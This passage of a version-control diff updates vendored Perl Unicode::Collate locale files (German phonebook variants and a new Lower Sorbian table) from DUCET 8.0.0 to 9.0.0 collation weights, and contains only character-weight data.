-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-0119      ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F8      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00F6      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE
-00E5      ; [.1F13.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008][.0000.0000.0001] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0000.0001][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0000.0001][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-0061 0061 ; [.1F13.0020.0002][.0000.0000.0007] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
-0041 0061 ; [.1F13.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
-0061 0041 ; [.1F13.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER A, LATIN CAPITAL LETTER A>
-0041 0041 ; [.1F13.0020.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+0119      ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F8      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00F6      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE
+00E5      ; [.1F98.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008][.0000.0000.0001] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0000.0001][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0000.0001][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+0061 0061 ; [.1F98.0020.0002][.0000.0000.0007] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
+0041 0061 ; [.1F98.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
+0061 0041 ; [.1F98.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER A, LATIN CAPITAL LETTER A>
+0041 0041 ; [.1F98.0020.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,31 +1,31 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E4      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00F6      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00FC      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00DF      ; [.1DEC.0020.0002][.1DED.0020.0002] # LATIN SMALL LETTER SHARP S
-1E9E      ; [.1DEC.0020.0008][.1DED.0020.0008] # LATIN CAPITAL LETTER SHARP S
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E4      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00DF      ; [.1E71.0020.0002][.1E72.0020.0002] # LATIN SMALL LETTER SHARP S
+1E9E      ; [.1E71.0020.0008][.1E72.0020.0008] # LATIN CAPITAL LETTER SHARP S
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_phone.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_phone.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_phone.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,29 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E4      ; [.1BC2.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1BC2.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1BC2.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1BC2.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1BC2.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1BC2.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00F6      ; [.1D58.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D58.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D58.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D58.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D58.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D58.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00FC      ; [.1E30.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E4      ; [.1C47.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C47.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1C47.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C47.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1C47.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1C47.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6      ; [.1DDD.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDD.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDD.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDD.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDD.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDD.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC      ; [.1EB5.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
 ENTRY
 };

Added: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/dsb.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/dsb.pl	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/dsb.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,59 @@
++{
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0107      ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0301 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0341 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0106      ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0301 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0341 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+011B      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON
+0063 0068 ; [.1D19.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
+0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1D19.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0142      ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+006C 0335 ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+0141      ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+004C 0335 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+0144      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0155      ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0072 0301 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0072 0341 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE
+0154      ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0052 0301 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0052 0341 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+015B      ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0301 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0341 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+015A      ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0301 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0341 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
